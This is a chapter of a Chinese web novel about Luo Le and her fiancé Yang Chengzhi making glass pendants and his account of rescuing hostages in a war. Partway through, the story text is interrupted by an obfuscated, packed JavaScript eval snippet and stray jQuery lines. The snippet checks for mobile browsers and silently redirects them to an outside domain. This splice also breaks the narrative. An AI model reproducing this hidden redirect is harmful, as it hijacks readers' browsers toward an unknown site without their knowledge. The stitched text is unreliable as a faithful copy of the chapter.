铸暇 作品
264. ^^……
是池嫂嫂,之前见过几次,不过罗乐每次来罗家寨都跟罗君灿腻在一起,没怎么跟这位嫂嫂相处过,对她也不太了解。
院中,二人喂招有来有往,虽说杨诚之没有学习过内功心法,但是沙场经验非常人所能积攒,罗君池不下重手在短时间内还真拿他没办法。
不知道是不是罗乐的错觉,杨诚之的出招路数与罗君池的很相似,颇有同出一脉的既视感。
考虑杨宅就建在长日村,而长日村是在她爹的帮助下建立起来的,甚至后山将军冢的事情,罗乐还是从杨诚之那儿知道的消息,不免多想了一些,用余光悄悄窥视罗实泰的神色。
显然,罗实泰也看出了杨诚之出招的不一般,余怒未消的脸庞又明显黑了几分。
不等杨诚之力竭,罗君池就收手了。
“行了,再打下去也是欺负人……”
杨诚之不置可否。
罗乐适时出声:“池大哥、杨公子。”
二人闻声转头,先对罗乐笑了笑,上前给罗实泰见礼。
“阿爹。”
“伯父。”
罗实泰虽然在书房里面对罗乐的时候对这门亲事并不看好,此时面色严肃,看起来非常不好对付,但该有的礼节还是做了,并没有直接给杨诚之难堪。
“京城路远,你来一趟也不容易,今天先在罗家寨里好好休息,有什么事明日再说。”
对此,罗乐奇怪得很,她大伯怎么突然这么客气了?
事实上不是罗实泰客气,尽管他对皇帝、定国公心有不满,但事已至此,除了发一通脾气外,又能怎么样呢?今后是罗乐跟杨诚之过日子,罗乐又不住在罗家寨,他现在能逞威风给人脸色看,万一回去后杨诚之心生不满给罗乐脸色看呢?
别看罗乐现在看起来不是很在意杨诚之这人,真成了亲,女儿家哪有真的不在意自己夫婿的?
但让他对着杨诚之笑……罗实泰表示实在做不出来,与其带着怒气说出不合时宜的话,不如给他几天缓冲时间,再来接待杨诚之也不迟。
故而勉勉强强吃了一顿接风宴后,罗实泰只道手上事情太多,忙完再好好招待杨诚之,便一个人躲书房里生闷气去了。
罗乐想去劝他看开一点,被花木雨拉到房里谈心:“阿乐,这门亲事是你愿意的吗?”
罗乐点头:“当然。”
对上花木雨担忧的视线,罗乐安慰她道:“大伯母,你放心,若我不愿意,谁都别想勉强我。”
花木雨温柔地摸了摸她的发梢:“既是你愿意的,回头我帮你好好劝劝你大伯,这几天就先带着咱们家的准姑爷在罗家寨里好好玩一玩,别怠慢了人家。”
罗乐笑着应是,她答应过要给杨诚之再做一块玉佩,趁着在罗家寨歇脚的功夫,就带他去了冶铁洞。
罗乐在长日村弄的水泥路、各种厂都被一比一还原进了西南驻军驻扎的营地,烟火暴利,秦延手上不差钱,还特地在手下营地里都建了专门用来传递消息的电话亭,冶铁洞也不例外。
罗乐看着洞口外异常熟悉的建筑,回想起自己穿越过来之后的举动,有种荒诞之感——这明明就是一个可以发展科技的世界,怎么会成了所谓的游戏场?
“既然来了,怵在这儿做什么?”
赶巧了,正好遇上秦延来洞里巡视。
罗乐老老实实喊了声秦大伯,跟他介绍了杨诚之,再说明自己来这里的目的是什么。
尽管都是罗三的大哥,这位秦将军跟南诏王、罗实泰对待杨诚之的态度截然不同,他拍了拍杨诚之的肩膀,连连说了好几声好,亲自领着罗乐和杨诚之拿到制作玉佩需要的东西后,非常识趣的给二人留出了单独相处的空间。
走前,还对罗乐意味深长道:“你跟你爹眼光倒是一样。”
好像以前知道杨诚之这么个人似的。
罗乐狐疑地看向身边的人:“我爹跟他提起过你?”
杨诚之的笑容让人耐人寻味:“也许?”
罗乐挑眉,那就是提过了。
她不再提问,没事人似的兴致勃勃烧起玻璃来。
倒是杨诚之,准备好一肚子的答案没能借机说出口,难免有些失落。
待玻璃烧热后能塑性了,罗乐问道:“不若给你捏个生辰玉佩?你属相是牛吧?”
没记错的话,他好像比她大两岁。
“嗯。”
得了肯定回答,罗乐便拿着镊子给热玻璃塑形,看着毫无章法地戳来戳去,没一会儿,一个正在吃草的牛便跃然纸上,罗乐将成功的热玻璃单独揪了出来,压成了玉佩的形状。
晾凉的间隙,杨诚之表示也想给罗乐捏个玉佩。
正所谓来都来了,好像不动动手、不带点什么东西走挺对不起来冶铁洞这一趟,罗乐道:“行。”
杨诚之真诚道:“我粗手粗脚,还得麻烦阿乐在旁边指导我一番。”
罗乐:?
谁?粗手粗脚?
许是她眼神太过迷茫,杨诚之将手摊在她面前。
这两年舞枪弄棒,杨诚之原本如玉的手指确实粗糙了不少,细细看去,能发现指头上多了不少薄茧。
罗乐了然,粗手粗脚指的是这个?
没看出来,杨小将军还挺在意手部保养哈?
说来杨诚之手指修长,骨骼分明,即便有了薄茧也不会显得这双手粗糙,反而有种浑然天成的本该如是。
不捉去弹钢琴真是可惜了。
杨诚之:“想听琴?”
罗乐茫然抬头:“嗯?”
杨诚之:“钢琴。”
罗乐:!
等会儿,她把心里话说出来了?
杨诚之忍俊不禁道:“虽不知钢琴是何物,但你想听古琴的话,还是能弹奏几曲的。”
会乐器的男生总是让人忍不住亲近,罗乐亦是如此,刚才的疑惑抛之脑后,眼睛一亮道:“你还会古琴啊?”
杨诚之:“略通一二。”
谁能拒绝古装美男弹琴?反正罗乐是拒绝不了,她也不占他便宜,大方道:“来,我教你怎么做玉佩。”
玉佩不难做,杨诚之这种自幼学习琴棋书画的贵公子作画更不是问题,没一会儿,兔子玉佩就做好了。
先前还不觉得做玉佩有什么,这会儿两个玉佩摆在一起放凉,罗乐脸上不由自主热了起来。
交换玉佩,还是双方亲手做的玉佩,好像比普通定情信物还像定情信物……
为了将脑子里的胡思乱想赶走,罗乐故作镇定对杨诚之道:“好不容易来一趟,我打算多做一点礼物带回去,你呢?”
杨诚之默默将注视罗乐的目光挪到玉佩,淡笑道:“乐意奉陪。”
听起来让罗乐感觉怪怪的,他嘴上说着乐意,可她怎么觉着他不是很乐意呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702864|154042||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
罗乐看了眼烧着正旺的炉子,又看了眼额角上冒着薄汗的杨诚之,悟了:“你累了吧?不如在旁边坐着休息,看我做就行。”
罗乐觉着自己怪体贴人的,可惜这人没领情,他跟小尾巴似的跟在她身后,熟悉的感觉让罗乐恍惚了一会儿又一会儿,好像回到了刚穿越过来的时候,她家阿柔和阿愚就很喜欢跟在她身后。
杨诚之问她:“怎么不动?”
罗乐有点尴尬,尤其是被一个人用火热的眼神目不转睛盯着的时候,这种尴尬的感觉会加剧百倍。
但直接让杨诚之不要这样看她,又好像不太礼貌,毕竟这眼神中明显带着对玉佩的好奇与欣赏,且就是她在做玉佩,他不看她又能看什么呢?
急中生智下,罗乐终于想到了一个能转移自己注意力的话题:“说起玉佩……对了,我送你那块玉佩是怎么碎的?”
之前他说过在战场上掉地上摔碎的,但细节是什么样的,罗乐没细问,他也没细说,这会儿四下无人,刚好可以当故事听。
罗乐是这么想的,但人家配不配合是人家的事,半响没动静,罗乐忍不住回头,正好对上杨诚之深邃的眼眸。
这一眼包含了许多情绪,罗乐下意识地挪开了视线,继续手上的动作。
“你不想说也没关系,我只是随便问问……”
“没有不想说。”杨诚之顿了顿,解释道,“只是没想好该怎么说。”
因为玉佩不是一次碎的,而整个故事实在太长。
细数起来,得从杨诚之与北蛮二王子的恩怨说起。
彼时杨诚之带着烟火连破数城,势不可挡,就在北蛮连连败退之时,北蛮二王子做出了惊人的举动,将沦陷在北蛮手下的大安百姓捉来筑人墙。
这下北伐大军没法继续推进,跟毫无人性的人谈论道义无异于对牛弹琴,当下最好的办法便是让北蛮二王子无人可用。
这就意味着需要有人在北蛮眼皮底下把大安百姓弄出来,为了配合大军行动,杨诚之改良了投石车,并把烟火里发射上天再爆炸的圆球单独拎出来,与投石车配合使用。
于是,可移动的简易炮台就此诞生。
用炮台发射炮弹,就可以越过人墙,直接砸到北蛮大军里头。
只要能攻击到对面,中间有没有人墙很重要吗?
而北蛮也不是傻的,既然人墙在中间没有用,那就让他们的兵与人质一组,看杨诚之在不在意混迹在北蛮大军里的大安百姓!
但打仗总有休战之时,杨诚之便悄悄带人去敌方军营里救人。大安百姓在敌方军营的人很多,且北蛮小兵们是不会跟大安人质分享自己的帐篷的,许多人在寒风中衣不遮体,这时候突然出现的杨诚之宛如救星一般,燃起了许多人对生的希望。
一次、两次、一个小队、两个小队……
时间一点点过去,等北蛮发现的时候,杨诚之已经救近半数的百姓。
北蛮怒不可遏,想要杀鸡儆猴。
但北蛮没想到的是,杨诚之所救的百姓几乎都是老幼,有些获救百姓甚至与救人小队的亲人们见了面!而依旧留在北蛮那边的大安百姓多为青壮,确定家人平安以后,竟然带着杨诚之留给他们防身的炸弹慷慨赴死。
这一炸,星火燎原,若非下了一场及时雨,北蛮二王子怕是能葬身火海。
诸多部署没能取北蛮二王子狗命,杨诚之心里是有遗憾的,不过这些遗憾在成为玩家以后消失了,因为他清楚地意识到,那场雨并非天公作美,而是阵营为北蛮的玩家们的法术攻击。